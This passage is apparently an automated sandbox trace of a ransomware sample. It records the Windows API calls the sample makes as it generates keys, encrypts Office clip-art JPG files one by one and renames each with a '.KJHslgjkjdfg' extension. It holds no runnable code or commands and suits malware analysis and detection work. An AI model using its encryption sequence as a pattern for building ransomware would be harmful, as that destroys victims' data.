| out: lpNewFilePointer=0x0) returned 1 [0161.913] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5fd0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5fd0, lpOverlapped=0x0) returned 1 [0161.914] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5fd0, dwBufLen=0x5fd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5fd0) returned 1 [0161.914] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.914] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5fd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5fd0, lpOverlapped=0x0) returned 1 [0161.915] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.915] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x60a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.915] SetEndOfFile (hFile=0x114) returned 1 [0161.917] GetProcessHeap () returned 0x2a0000 [0161.918] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.918] GetProcessHeap () returned 0x2a0000 [0161.918] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.918] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.kjhslgjkjdfg")) returned 1 [0161.919] CloseHandle (hObject=0x114) returned 1 [0161.919] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2378, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099188.JPG", cAlternateFileName="")) returned 1 [0161.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.920] GetProcessHeap () returned 0x2a0000 [0161.920] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.920] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.920] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.920] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.922] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.923] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.923] GetProcessHeap () returned 0x2a0000 [0161.923] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.923] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.923] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.923] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.923] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.923] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.923] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.923] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.923] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.923] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.923] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.923] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.924] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2378, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2378, lpOverlapped=0x0) returned 1 [0161.925] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2380, dwBufLen=0x2380 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2380) returned 1 [0161.925] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.925] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2380, lpOverlapped=0x0) returned 1 [0161.925] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.925] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.925] SetEndOfFile (hFile=0x114) returned 1 [0161.928] GetProcessHeap () returned 0x2a0000 [0161.928] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.928] GetProcessHeap () returned 0x2a0000 [0161.928] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.928] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.kjhslgjkjdfg")) returned 1 [0161.929] CloseHandle (hObject=0x114) returned 1 [0161.929] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1f8c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099189.JPG", cAlternateFileName="")) returned 1 [0161.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.931] GetProcessHeap () returned 0x2a0000 [0161.931] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.932] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.932] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.932] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.934] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.934] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.934] GetProcessHeap () returned 0x2a0000 [0161.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.934] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.934] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.934] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.934] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.935] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.935] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.935] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.935] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.935] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.935] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.935] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.935] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f8c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f8c, lpOverlapped=0x0) returned 1 [0161.936] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f90, dwBufLen=0x1f90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f90) returned 1 [0161.936] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.936] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f90, lpOverlapped=0x0) returned 1 [0161.937] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.937] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.937] SetEndOfFile (hFile=0x114) returned 1 [0161.940] GetProcessHeap () returned 0x2a0000 [0161.940] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.940] GetProcessHeap () returned 0x2a0000 [0161.940] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.940] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.kjhslgjkjdfg")) returned 1 [0161.941] CloseHandle (hObject=0x114) returned 1 [0161.942] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xab74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099190.JPG", cAlternateFileName="")) returned 1 [0161.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.944] GetProcessHeap () returned 0x2a0000 [0161.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.944] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.944] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.944] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0161.947] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.947] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.947] GetProcessHeap () returned 0x2a0000 [0161.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.947] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.947] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.947] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.947] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.948] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.948] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.948] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.948] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.948] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.948] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xab74, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xab74, lpOverlapped=0x0) returned 1 [0161.949] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xab80, dwBufLen=0xab80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xab80) returned 1 [0161.950] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.950] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xab80, lpOverlapped=0x0) returned 1 [0161.951] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.951] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xac54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.951] SetEndOfFile (hFile=0x114) returned 1 [0161.954] GetProcessHeap () returned 0x2a0000 [0161.954] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.954] GetProcessHeap () returned 0x2a0000 [0161.954] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.954] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.kjhslgjkjdfg")) returned 1 [0161.955] CloseHandle (hObject=0x114) returned 1 [0161.955] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf39f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099191.JPG", cAlternateFileName="")) returned 1 [0161.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.956] GetProcessHeap () returned 0x2a0000 [0161.956] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.956] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.956] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.956] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0161.959] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.959] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.959] GetProcessHeap () returned 0x2a0000 [0161.959] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.959] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.959] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.959] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.959] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.959] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.959] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.959] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.960] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.960] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.960] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.960] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.960] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf39f, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xf39f, lpOverlapped=0x0) returned 1 [0161.961] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf3a0, dwBufLen=0xf3a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf3a0) returned 1 [0161.962] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.962] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xf3a0, lpOverlapped=0x0) returned 1 [0161.962] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.962] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.963] SetEndOfFile (hFile=0x114) returned 1 [0161.966] GetProcessHeap () returned 0x2a0000 [0161.966] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.966] GetProcessHeap () returned 0x2a0000 [0161.966] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, 